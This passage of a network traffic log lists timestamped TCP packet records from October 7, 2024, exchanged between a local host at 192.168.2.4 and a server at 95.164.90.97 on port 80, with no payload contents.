Oct 7, 2024 18:43:36.791618109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791620970 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791634083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791650057 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791663885 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791671991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791680098 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791696072 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791712046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791714907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791749001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791755915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791755915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791766882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791801929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791812897 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791817904 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791834116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791840076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791850090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791866064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791873932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791882038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791888952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791901112 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791903019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791909933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791924000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791925907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791932106 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791944981 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791944981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791953087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791966915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791969061 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791975975 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791985989 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.791990042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.791997910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792011976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792011976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792018890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792025089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792032957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792037010 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792040110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792053938 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792061090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792062044 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792074919 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792078018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792078972 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792083979 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792085886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792093992 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792095900 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792098999 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792102098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792104959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792109966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792115927 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792120934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792125940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792125940 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792130947 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792138100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792141914 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792146921 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792152882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792155027 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792157888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792164087 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792169094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792179108 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792182922 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792185068 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792191029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792203903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792207003 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792208910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792224884 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792249918 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.792952061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792963982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792969942 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792979002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792984962 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792994976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.792999983 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793004990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793004990 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.793015957 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793020010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793030024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.793030024 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793035984 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793049097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793052912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.793061018 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.793078899 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.793104887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937424898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937475920 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937509060 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937514067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937531948 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937542915 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937549114 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937561035 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937565088 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937581062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937603951 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937616110 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937633038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937633991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937659025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937673092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937686920 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937711000 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937714100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937727928 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937760115 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937772036 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937777042 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937793016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937802076 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937808990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937824965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937829971 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937855959 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937860966 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937876940 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937889099 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937911034 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937920094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937926054 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937946081 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937958956 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937972069 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.937973976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937989950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.937995911 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938007116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938021898 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938023090 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938038111 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938050032 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938070059 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938081026 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938086033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938102007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938107014 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938117981 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938133955 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938134909 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938149929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938162088 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938165903 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938182116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938189030 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938199043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938215017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938219070 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938230038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938241959 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938247919 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938257933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938277960 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938278913 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938293934 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938302994 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938311100 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938325882 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938328028 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938343048 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938350916 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938375950 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938378096 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938391924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938391924 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938404083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938414097 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938420057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938432932 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938436031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938452005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938453913 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938468933 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:36.938474894 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938497066 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.938522100 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.960000038 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:36.965074062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213656902 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213670969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213736057 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213742018 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213752985 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213785887 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213792086 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213870049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.213870049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.213870049 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.213875055 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213880062 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213891029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.213922024 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.214535952 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.214541912 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.214553118 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.214593887 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.214735031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.214740038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.214782000 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215080976 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215090990 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215096951 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215142012 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215172052 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215178013 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215188026 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215193033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215217113 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215234041 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215275049 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215280056 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215291023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215326071 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215589046 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215595007 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215605021 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215639114 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215795040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215800047 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215810061 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215815067 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215845108 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215852022 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215853930 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215859890 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215863943 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215867996 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215873003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215878010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215883017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215893030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215897083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215898991 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215905905 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.215922117 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215944052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.215987921 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.216006994 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216012001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216022015 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216048002 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216052055 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.216058016 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216063023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216068029 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216073036 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216078043 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216078997 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.216083050 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216116905 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.216156006 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.216609001 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216620922 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216625929 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.216667891 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217015982 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217112064 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217122078 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217159033 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217164040 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217164993 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217204094 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217204094 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217211008 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217248917 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217363119 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217369080 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217377901 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217382908 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217387915 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217432976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217432976 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217453003 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217458010 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217463017 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217468023 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217473030 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217478991 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217523098 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217699051 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217704058 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217714071 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217717886 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217724085 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217729092 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217739105 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217744112 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217746019 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217767954 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217789888 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217792988 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217813969 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217850924 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217895031 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217900038 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217911005 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217916965 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217921019 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.217943907 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.217958927 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218058109 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218063116 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218072891 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218077898 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218084097 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218092918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218096972 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218101025 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218101978 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218121052 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218142033 CEST	51632	80	192.168.2.4	95.164.90.97
Oct 7, 2024 18:43:37.218226910 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218239069 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218249083 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218254089 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218259096 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218267918 CEST	80	51632	95.164.90.97	192.168.2.4
Oct 7, 2024 18:43:37.218272924 CEST	80	51632	95.164.90.97	192.168.2.4
